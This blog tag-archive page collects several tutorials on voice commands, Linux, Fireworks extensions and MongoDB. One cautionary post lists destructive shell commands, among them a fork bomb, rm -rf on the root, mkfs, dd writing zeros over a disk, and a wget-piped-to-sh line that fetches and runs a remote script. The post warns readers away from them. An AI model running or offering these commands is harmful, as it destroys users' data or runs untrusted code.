All posts tagged “Commands”

How To Get More Custom Voice Commands Out Of Google Now

Google Now, the smart voice assistant from the search giant, allows you to accomplish many tasks using nothing but your voice. You can use voice control on your device with this application, but it’s limited to understanding only a few commands.

The good news is you can use two awesome tools to extend the use of Google Now. This means better control and more functions for you to do custom jobs, all enabled with just your voice. If this tickles your fancy, have a look at how you can set this up.

You will need to either Commandr or AutoVoice (just pick one), but to be able to run either of them, you will need to get Tasker, which is a paid app. However, you can play around with Tasker’s trial version for 7 days first before deciding if you want to get it (for US$ 3.75). With this combo, you can send preset messages to friends and colleagues, post a pre-defined status update to your favorite social network amongst many other things.

Note: This tutorial was built using Commandr 3.1, AutoVoice 2.0.18 and Tasker 4.5u1 on Android 5 (Lollipop). It’s believed the steps given below will also work for other versions of these applications.

1. Setting Up Tasker

Tasker is an application to automate tasks in Android. It is similar to scheduled tasks makers in desktop operating systems. It can be used to create tasks that are automatically executed as per the active profile or situation. For example, if your phone’s battery drops to 15% charge (a low-battery profile is activated), then your device’s screen brightness sets to minimum possible (a task to set brightness to zero is executed).

How To Install Tasker

Here’s how to install Tasker’s trial version:

  1. Go to Tasker’s Download page on your device.
  2. Download the relevant Tasker version, as per your Android version.
  3. Install Tasker according to the instructions on the download page.

After installing Tasker, you need to configure it to be accessible by other apps, ie other apps get permission to run its tasks. Here’s how you configure it:

  1. Open Tasker.
  2. Click Settings button on top-right corner.
  3. Choose "Preferences".
  4. On UI tab, un-check "Beginner Mode".
  5. On Misc tab, check "Allow External Access".
  6. Click the back button, or the cross button beside the ‘settings" button.

How To Create Tasks With Tasker

Tasker is now set to run tasks for other apps, such as Commandr and AutoVoice. Now you need to create some tasks and here’s how to do that:

(1) Open Tasker, click on "+" button under Profiles.

(2) Select "Event".

(3) Select "Plugin".

(4) Select the "Commandr" plugin if you’re creating this task for Commandr. Otherwise, choose the "AutoVoice Recognized" plugin.

(5) Click on the pencil and configure the "Commandr" plugin as per below. Enter the text that you want to use as a voice command, such as "Hello Facebook".

(6) Or configure the "AutoVoice Recognized" plugin as given below:

  • Press OK if the "joaomgcd Apps" box appears.
  • Click on "Command Filter" under the Command section.

(7) Enter the text that you want to use as a voice command, such as "Hello Facebook". Note: The lite version of AutoVoice only allows a voice command of maximum four characters.

(8) Press the tick button.

(9) Press the back button. Tasker now asks you to choose a task for this newly-created profile.

(10) Select "New Task +". Enter task name, such as "Hello Facebook Task".

(11) Press the tick button.

(12) Click on the "+" button.

(13) Select an Action category, such as "App".

(14) Select an action, E.g. "Launch App".

(15) Set the options for that action, such as selecting "Facebook" from the apps.

(16) Press the Back button. The "Task" is now created.

2. Using Commandr Or AutoVoice

Now you can continue with the tutorial and install either Commandr or Autovoice to extend the features of Google Now and use your own custom commands with it. Both can be used to accomplish the task, but which is better? Personaly, I would go with Commandr because it comes with lots of built-in commands such as toggle hardware settings, read messages, etc and it’s free as opposed to AutoVoice’s full version that costs around $ 1.32.

Going With Commandr

Commandr can dramatically extend the power of Google Now. It gives you the ability to toggle hardware switches and control the music with simple voice commands. It adds tons of commands to Google Now, which makes voice-control functionality even more useful.

It plugs into Google’s voice assistant, and lets you better use your device by making voice commands. It uses the "run-as-per-need" mode, and that’s why, it doesn’t slow down your mobile device or decrease your battery’s life like a hungry beast!

Step 1: Setup Commandr

Install Commandr, then go through its short setup process as shown below:

(1) Open Commandr (and swipe left). Click on "Open Settings".

(2) Click on "Commandr for Google Now" (under Services). Switch on and click OK.

You need to do this small step to give it the accessibility access on your phone, so that it can listen to the commands given to Google Now. It will allow you to give the additional voice commands directly to your phone. If you chose "Limited Access" instead of "Open Settings" then you’re required to say "Note to self" before giving any additional commands to your phone.

Step 2: Activate Built-in Voice Commands

Commandr comes with tons of built-in voice commands. These commands are available after installation, and helps you to better voice-control your device, such as toggle hardware switches, read messages, etc. Here is how you activate them:

(1) Open Commandr.

(2) Tap on "Built-In Commands".

(3) Enable/disable built-in voice commands as per your choice.

That’s all! Now you can use these additional voice commands directly in Google Now.

Step 3: Create Custom Voice Commands

Commandr needs Tasker to create custom voice commands for Google Now. First, you should create tasks in Tasker as given above for Commandr. After that, you need to activate those tasks in Commandr so that they become recognizable and can be executed by Google Now.

Here’s how to activate Tasker’s tasks in Commandr:

(1) Open Commandr. Tap on "Tasker Commands".

(2) Enable/disable custom voice commands as per your choice.

That’s all! Now you can use these custom voice commands directly in Google Now.

Going With Autovoice

AutoVoice, just like an add-on, extends the functionality of Google Now. It brings new possibilities to the Google’s voice assistant, and powers it to understand your custom commands. Tasker helps it add your own commands to Google Now.

It works as follows: you create an automated task (whatever you need to do at your voice command) in Tasker, and AutoVoice calls that scheduled task every time you speak those "magic words" to Google Now. It only runs when required and thus hardly affects your device’s performance.

Step 1: Setup AutoVoice

Install AutoVoice from the Google Playstore.

AutoVoice needs to be configured after its installation for proper integration with Google Now. You need to turn on its accessibility setting, so that it can listen to the voice commands spoken to the Google’s voice assistant. Here’s how to setup AutoVoice:

(1) Open AutoVoice.

(2) Click on "Google Now Integration".

(3) Click on "Not Enabled". Click on "AutoVoice Google Now Integration". Switch on and press OK.

Step 2: Create Custom Voice Commands

AutoVoice, as a Tasker’s add-on, have no additional steps to create custom voice commands. You can simply create tasks in Tasker as given above for AutoVoice, and that all tasks can be activated by speaking the correct command for Google’s voice assistant. That’s all. Now you can use your custom voice commands with Google Now.

Conclusion

As you must have noticed: (Commandr OR AutoVoice) AND Tasker AND Google Now make a powerful voice assistant. These apps open doors to a new set of possibilities by letting your voice take control of your android device. They are easy to install and configure and even easier to use when creating custom voice commands.

What are you waiting for? Try one of the apps given in this tutorial, add some new voice commands to speak to your device and let the magic happen!





hongkiat.com

Google bringing always on voice commands to Chromebooks

You’ve been able to yell voice commands at Android smartphones and Android Wear smartwatches for some time now, but soon you’ll be able to do the same to a Chromebook computer. A new feature available to Chromebooks running early release software lets users say “Ok Google” to activate voice commands and searches on the laptop, just like on many Android smartphones. Voice commands can be used to perform web searches, get itineraries, check the weather, and more. The Chromebook will always listen for the voice command so long as the screen is on and the display is unlocked.

The feature was first described by Google employee François Beaufort on Google+. It is currently only available on the Chrome Dev channel, and users need to enable a…

Continue reading…

The Verge – All Posts

110+ Google Now Voice Commands You Can Useas

Google Now is Google’s answer to Siri. It is a smart, virtual, voice-enabled personal assistant developed by the search giant and acts as a handy add-on to the pure Android experience. It integrates well with Google’s services to provide you with updates and other information as per your preferences.

With Google Now, you become ‘Aladdin‘ while it is the ‘Genie of the magic lamp‘. All you need to do is say “Okay Google” to your device to open Google Now. Then, you say one of the magical voice commands to Google Now just as you were Aladdin making a wish. The microphone icon starts pulsing – giving you an indication that your phone (powered by Google Now) is listening. You give a command, and it does the required actions to complete the given task.

Let’s have a look at the collection of over more than a 100 ‘magical’ voice commands which provides you with touch-less control for your Android phone or tablet. The Voice commands below are categorized accordingly for easy navigation.

General Information

  • “Search for [WordPress hosting]?
  • “Say [where is the movie theatre] in [French]?”
  • “How do you say [hello] in [Spanish]?”
  • “What is [Android]?”
  • “Who invented [the computer]?”
  • “Define [contemporary]“
  • “What is the meaning of [world]?”
  • “Who is married to [Barack Obama]?”
  • “Stock price of [Google]“
  • “What is [Twitter] trading at?”
  • “Author of [Da Vinci Code]“
  • “How old is [Tom Cruise]?”
  • “Where was [Martin Luther King Jr.] born?”
  • “Show me pictures of [the Taj Mahal]“
  • “Post to Google+ [I’m loving it]“
  • “Post to Twitter [Google Now is awesome!]“

Applications

  • “Open [Calendar]“
  • “Launch [Hangouts]“
  • “Take a [picture / photo / selfie]“
  • “Record a video”

Notes & Reminders

  • “Remind me to [buy groceries] at [6 PM]“
  • “Remind me [when I get / next time I’m at] [home / work / other location] [to call John]“
  • “Note to self: [My password for Google.com is 123456]“

Alarms & Calendar

  • “Set an alarm for [6 AM]“
  • “Set a timer for [30 minutes]“
  • “Wake me up in [2 hours]“
  • “Create a calendar event: [Party with Colleagues] [Sunday at 9 PM]“
  • “When’s my [next meeting]?”
  • “What is my schedule for [tomorrow]?”

Time & Date

  • “What time is it in [San Francisco]?”
  • “When is the sunset [in London (optional)]“
  • “What is the timezone of [Hong Kong]“
  • “Time at [home / work]“

Communication

  • “Call [Sara]“
  • “Call [the Asian Art Museum]“
  • “Call [mom / dad / wife / uncle / aunt …]” (Relationship must be added for your contacts)
  • “Send [email] to [Storm], [Subject: Meeting], [Message: Re-scheduled to 5PM]“
  • “Send [SMS] to [Sam mobile], [don’t forget to buy movie tickets]“
  • “[Contact name]“
  • “Find [Sam’s] [phone number / email / address]“
  • “Listen to voicemail”
  • “When is [Mary’s] birthday?”

Weather

  • “Weather”
  • “What’s the weather like?”
  • “Do I need an umbrella today?”
  • “Is it going to rain [tomorrow / Monday]“
  • “What’s the weather in [California]?”
  • “How’s the weather in [New Jersey] on [Thursday] going to be?”

Maps & Navigation

  • “Map of [London]“
  • “Where’s my hotel?”
  • “Find the [Eiffel Tower]“
  • “Where is [the Louvre]“
  • “Show me the nearby [shopping mall] on map”
  • “Navigate to [London] on car”
  • “How far is [Washington] from [California]?”
  • “Directions to [address / business name / other destination]“
  • “What are some attractions in [New York City]?”

Calculations & Conversions

  • “[arithmetic expression] equals”
  • “How much is [10] times [15]?”
  • “What is [32] percent of [1024]?”
  • “Square root of [441]“
  • “What is the tip for [90] euros?”
  • “Convert [currency / length …] to [another currency / length …]“

Sports

  • “How are [the New York Yankees] doing?”
  • “When is the next [Los Angeles Lakers] game?”
  • “Show me the [Premier League] table”
  • “Did [Bayern Munich] win their last game?”

Flight Information

  • “Flight [AA 125]?”
  • “Flight status of [AA 125]“
  • “Has [LH 210] landed?”
  • “When will [AA 120] land / depart?”
  • “Show me my flights”

Web Browsing

  • “Go to [Tech Crunch]?”
  • “Open [hongkiat.com]“
  • “Show me [android.com]“
  • “Browse to [aksingh.net]“

Entertainment

  • “Listen to / play [Gangnam Style] by [PSY]?”
  • “YouTube [how to cook chicken]?”
  • “Who acted in [Clash of the Titans]?”
  • “Who is the producer of [Gladiator]?”
  • “When was [The Last Airbender] released?”
  • “Runtime of [Avatar]“
  • “Listen to TV”
  • “What’s this song?”
  • “What songs does [Britney] sing?”
  • “Play some music”
  • “Watch [Toy Story 2]“
  • “Read [the Aesop’s Fables]“
  • “What movies are playing [tonight]?”
  • “Where is [Thor] playing?”

Others

  • “Help me”
  • “Where’s my package?” (tracking confirmation must be in Gmail)
  • “Show me the menu for [Los Cubanos]“

Easter Eggs

  • “When am I?”
  • “Do a barrel roll”
  • “What’s the loneliest number?”
  • “Make me a sandwich!”
  • “Sudo, make me a sandwich!”
  • “How much wood could a woodchuck chuck if a woodchuck could chuck wood.”
  • “Beam me up, Scotty!”
  • “Tilt / Askew”
  • “Up up down down left right left right”
  • “Tea, Earl Grey, hot” (That’s a hard one)
  • “Go go gadget [app name]“
  • “When does the narwhal bacon?”
  • “What is the Bacon number of [random actor]?”
  • “What does the fox say?”
  • “What is the nature of the universe?”
  • “Who’s on first?”
  • “Lions, and Tigers, and Bears…”
  • “Who are you?”
  • “What is the answer to life, the universe and everything?”

Conclusion

Voice commands are not only useful in various situations, but they also prove to be fun sometimes. You can even experiment with various commands by using different phrases, and you’ll be surprised at how much Google Now understands you. Start using voice commands on your Android device and take a leap forward to the future of mobile technology.

Are there any other voice commands we may have missed? You can always share it with us in the comments section below.





hongkiat.com

9 Linux Commands & Codes To Be Wary Of

Linux shell/terminal commands are very powerful and just a simple command could lead to one deleting a folder, files or root folder, etc.

In some cases, Linux won’t even ask you for confirmation rather it will execute the command right away causing you to lose valuable data and information stored in these files and folders.

It is common for people to post content on the web recommending new Linux users to execute these commands. This might seem like a joke for someone who has posted the content but it’s no laughing matter for the person on the other end.


(Image Source: Desktop Nexus)

We’ve gathered some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

An important thing to note is that some of these commands are only dangerous if they are prefixed with sudo on Ubuntu. While on other distributions of Linux, most of these given commands will be dangerous to execute as root.

Take a look at the 9 commands and codes you should avoid executing.

1. Linux Fork Bomb Command

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

2. mv folder/dev/null Command

mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.

3. rm -rf command

rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system. The most common combinations and options used with rm-rf command are listed below:

  • rm command is used to delete the files in Linux system.
  • rm -f command removes read-only files in folder without prompting.
  • rm -r command deletes the content of a folder recursively.
  • rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
  • rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
  • rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
  • rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
  • rm -i command is used for removal of files and folders but a prompt will appear before removal.

4. mkfs command

mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

All the commands mentioned below will format the hard drive and it requires administrator rights:

  • mkfs
  • mkfs.ext3
  • mkfs.bfs
  • mkfs.ext2
  • mkfs.minix
  • mkfs.msdos
  • mkfs.reiserfs
  • mkfs.vfat

The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.

5. Tar Bomb

The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command.

It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.

You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.

If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

6. dd command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.

The command may be any one of these:

  • dd if=/dev/hda of=/dev/hdb
  • dd if=/dev/hda of=/dev/sdb
  • dd if=something of=/dev/hda
  • dd if=something of=/dev/sda

The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

8. Malicious Source Code

Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.





hongkiat.com

Betty: Turn Generic English Into Linux Terminal Commands

The Linux terminal can be a complex beast, and it would be handy to have something like Siri to help make things easier. Sure, there’s often no need to go into the terminal for regular users, but there are some advantages to using the terminal over the graphical user interface. You can do a lot of things with the terminal that aren’t as easy to do in graphical user interfaces – besides, there’s just this odd nerdy pleasure in doing as much as possible from a command line interface.

Betty

Getting to grips with the terminal and terminal commands isn’t the easiest thing, but Betty might just make things a lot easier. Betty is a Linux tool that can translate plain English commands into Linux terminal commands. In a sense, it’s a bit like Siri or Google Now for the Linux terminal.

The whole motivation behind the development, according to the GitHub page, was to allow users to use the terminal using natural language input, letting you do a lot of things without ever leaving the terminal or having to look up obscure terminal commands on the Internet.

Installing Betty

You’re going to have to delve into the Linux terminal to install Betty, but it’s a straightfoward process; just make sure you type these commands in exactly, and make sure your Linux install is up-to-date.

First off, you need to install Ruby, Curl and Git. Enter these commands into the terminal (if you already have these installed then you can skip these steps):

$ sudo apt-get install ruby curl

$ sudo apt-get install git

Once you have Ruby, Curl and Git installed, it’s time to install Ruby and set up an alias for easier usage. This assumes you have installed Betty into your Home folder.

$ cd ~ && git clone https://github.com/pickhardt/betty

$ echo "alias betty=\"~/betty/main.rb\"" >> ~/.bashrc

$ source ~/.bashrc

Also, if you’re running older versions of Ubuntu (such as 12.04), you might have to update Ruby to 1.9.1 to avoid getting a lot of errors when you run Betty commands. Just run these two commands:

$ sudo apt-get install ruby1.9.1

$ sudo update-alternatives –config ruby

When you run the second command, you’ll be prompted to choose your version of Ruby. Just select Ruby 1.9.1 by typing its selection number, press Enter and you’re good to go.

Choosing Ruby Version

Using Betty

Once you’ve completed the installation process, you can start using Betty. There’s quite a bit you can do with Betty, and there’s a list of commands on the official GitHub page, with more and more commands being added as development progresses.

But let’s just look at some examples of what Betty can do. Let’s start with some basics. Betty can provide basic information such as time and date. Just type in Betty what time is it to get the time, and Betty what is the date to get the date.

Time And Date

Betty can also fetch and return other basic information such as your username, IP address, other logged in users, and so on.

Username And IP

You can also use Betty to compress and uncompress files and folders.

Compressing Folder

In addition to actions related to your machine, Betty also has a web mode that will let you execute Internet queries. These queries include checking the weather, translating words and even looking up people, things and places.

Web Query

A couple of things to note: firstly, these are only a handful of examples of what Betty can do. Some experimentation, and a quick look at the list of commands available on the GitHub, should reveal everything else Betty can do (including controlling iTunes and Spotify).

Secondly, since Betty aims to understand natural language input, there are a lot of different ways to word the same request – you just need to experiment to find out what they are.

Conclusion

Betty is quite a useful tool for anyone interested in using the Linux terminal, as well as for anyone with a passing interest in the development of natural language input systems for computers.

The fact that Betty shows the commands it executes also makes it great for anyone trying to learn Linux terminal commands, since it helps you associate often abstract commands with natural English-like sentences.

It may still be a bit limited in what it can do, but the fact that it’s under active development means that it’s definitely a tool to keep an eye on even if it’s yet to be your cup of tea in its current state.





hongkiat.com

Adobe Fireworks Extensions & Commands for Web Designers


Despite last weeks sad announcement that Adobe would no longer be developing it, Fireworks will remain a firm favorite amongst web designers for many, many years to come. I am convinced of it. Yes, there won’t be any more updates, and as time slowly passes users may dwindle, but the large Fireworks community is dedicated and will not go away any time soon.

Resources will continue to be abundant, new tutorials will still be published, extensions will still be created… Fireworks is far too good a tool to simply disappear.

Anyway, lets get back to the topic at hand… Almost five years ago we published one of our most popular posts called 75 Powerful Adobe Fireworks Extensions, and after having a quick read of it recently, I realized that many of those extensions are still relevant today. This kind of got me thinking, what new extensions have been released recently? After an extensive search I did discover quite a few, and those few are pretty impressive. Here they are:

Export Responsive Prototypes

Export Responsive Prototype is a handy extension that allows you to simulate responsive design when you have designs for each media query breakpoint on separate Fireworks pages. To show which sections of the design "respond", you simply slice the document, making sure that clear rows are defined.

Export Responsive Prototype →

Insert Grids Command

This command makes it easy to create modular grids similar to most CSS frameworks. All you have to do is select the number of columns you need, their widths, gutters… then click OK.

Insert Grids Command →

Create Demo – An alternative to the “Demo Current Document” command

Create Demo is an extension that gives you an alternative to the “Demo Current Document” command by offering lots of extras features. It will export each of the pages of your Fireworks document to the folder of your choice, allowing you to then present your ideas quickly and professionally.
For further information on this extension you should check out this article on Smashing Magazine.

Create Demo →

ImageSnippet Extension

ImageSnippet is a really useful extension that will generate code from a selected slice.

ImageSnippet Extension →

Export Commands Extension

This extension comes with a wide range of commands for exporting Fireworks designs into other formats. Here are the commands it comes packaged with:

  • Export Pages and States
  • Export Slices As Sprites
  • Export Styles As CSS
  • Export SVG

Export Commands Extension →

Web Guides & Slice by Guides

This is a really simple, yet really useful, extension that adds a command for centered web safe guides and bounding boxes (1024×768 and 800×600 canvas sizes), and a command for adding slices based on all of the guides you have in your document.

Web Guides & Slice by Guides →

Mockup HTML-Style Tables

The Tables panel extension allows you to quickly mockup HTML-style tables without having to manually position each cell or border. The panel will automatically reposition the table as you add content/data.

Mockup HTML-Style Tables →

CSS Professionalzr

The CSS Properties panel allows you to copy an element's attributes as CSS3, but does not output the cleanest nor most professional code. CSS Professionalzr will do that for you.

CSS Professionalzr →

Export as Favicon

From a 16x16px document, the Export as Favicon command will, obviously, create a favicon file for you. If you need to create a favicon that also contains a 32px version of the icon, the document must have a second page with a size of 32px by 32px. (Larger sizes are supported, but adding these creates a favicon file that's unnecessarily large for a webpage icon).

Export as Favicon →

Specctr – Blueprints for the Web (Lite)

Specctr →

Draw Image Placeholders

When in the early stages of your mockup, it's often useful to draw image placeholders instead of including actual photos, icons, ads, etc. in the layout. The Placeholder auto-shape makes this very easy.

Draw Image Placeholders →

SVG in Fireworks

This extension makes it possible to use vector images in SVG format in your Fireworks documents, by parsing the XML and recreating the vectors using Fireworks elements.

SVG in Fireworks →

The Spacer Panel

This extension makes it easy for you to arrange rows/columns of elements by adjusting the spacing between them. When you select some elements, the Spacer Panel works out if they're mostly horizontal or mostly vertical. It will then display the horizontal or vertical space between each element in a series of text fields, which you can easily edit to adjust the spacing.

The Spacer Panel →

Commands for Working with Text

This extension comes with an assortment of useful commands to help you when working with text. Here are some of the commands:

  • Convert a selected text box or text selection to lowercase, uppercase, sentence case or title case
  • Add a lorem ipsum text box or convert selected text to lorem ipsum
  • Paste the text attributes of text copied to the clipboard onto selected text
  • Split text boxes into multiple text boxes based on character style changes
  • Replace all text in a selected text box with specified text
  • Converts text box names to their proper auto-name

Text Commands →

Glyphs Panel

The Glyphs panel enumerates various sets of characters for any installed font allowing you to insert characters into a new or selected text objects, and more. The Glyphs panel is designed to be a more robust replacement for the shipped Special Characters panel, and emulates functionality closer to Illustrator or InDesign.

Glyphs Panel →

Lorem Ipsum Auto-Shape

The Lorem Ipsum auto-shape makes inserting any amount of dummy text into your document very easy. Of course, there are plenty of other ‘Lorem Ipsum’ extensions available for Fireworks, but what makes this one different is that it is an auto-shape. So, when it is re-sized (in any direction) it will automatically adds words for you. Likewise, if fewer words are needed, it will remove them.

Lorem Ipsum Auto-Shape →

Orange Commands (100+ Extensions)

Orange Commands is a huge (lost count after a 100) selection of commands for Fireworks that will help make your life a web designer much, much easier. I am not going to list all of the commands here, but I will tell you that there are multiple commands for aligning, exporting… commands for canvas, color, effects… commands for grids, guides, layers… and on and on. Whatever you need, you will find it here. Orange Commands is free and open source.

Orange Commands →GitHub →

You might also like…

End of an Era: Adobe Pulls the Plug on Fireworks →
Wireframing & Prototyping with Adobe Fireworks – Resources and Tutorials →
A Case for Adobe Fireworks against Photoshop and Illustrator →
25 Awesome Adobe Fireworks Resources for Web and App Developers →
70+ Adobe Fireworks Resources →
75 Powerful Adobe Fireworks Extensions – It really can be as Great as Photoshop! →



Speckyboy Design Magazine

MongoDB For Beginners: Basic Shell Commands (Part 2/3)

In the previous MongoDB’s guide for beginner’s, I’ve covered the importance and terminology of MongoDB as well as how to setup Mongo on Windows and Mac. Resuming where we left off, today we’re going to look into some basic and usefull shell commands for MongoDB.

MongoDB Mac OS X Terminal list databases

You can perform almost any action through the Mongo shell. Since this is a beginner’s guide I won’t delve very far down into this rabbit hole. But you better believe there is plenty of documentation on the topic to research further.

Let’s use this small segment to create a collection of TV Shows which we can then reference later using PHP. If you run the command above, you’ll notice there are only two databases installed by default.

> show dbs

We can use the test database and inside create a new collection named “shows” which will hold our TV Show documents. So first I will define a couple of variables inside the shell window.

I’m using three different TV Shows along with their original debut airdate and the television network they ran under.

We need to use the MongoDB .save() command for saving new data and creating new collections.

> a = { title:"Arrested Development", airdate:"November 2, 2003", network:"FOX" }
> b = { title:"Stella", airdate:"June 28, 2005", network:"Comedy Central" } 
> c = { title:"Modern Family", airdate:"September 23, 2009", network:"ABC" }

If you enter each of these lines into the Mongo shell terminal you’ll get a response back with the JSON data formatted. We have just setup 3 variables which can now be passed into the save command for storing each TV Show as a document object in our collection of shows.

If you notice we haven’t actually created any new collection named shows. This is done on-the-fly by MongoDB only after you add some data into a collection. We access and create collections using standard JavaScript dot syntax.

Copy and run the codes below:

> db.shows.save(a)
> db.shows.save(b)
> db.shows.save(c)

This will add each JSON object variable we created into the shows collection. After running the first command on TV Show A we will have a new collection displaying inside our test db. You can verify this by running show collections in the terminal.

But even more interesting, we can check if all the data is saved properly by running the find() query command as below:

> db.shows.find()

In the next article, we’ll take a look into how to setup MongoDB for PHP. Stay tuned!


hongkiat.com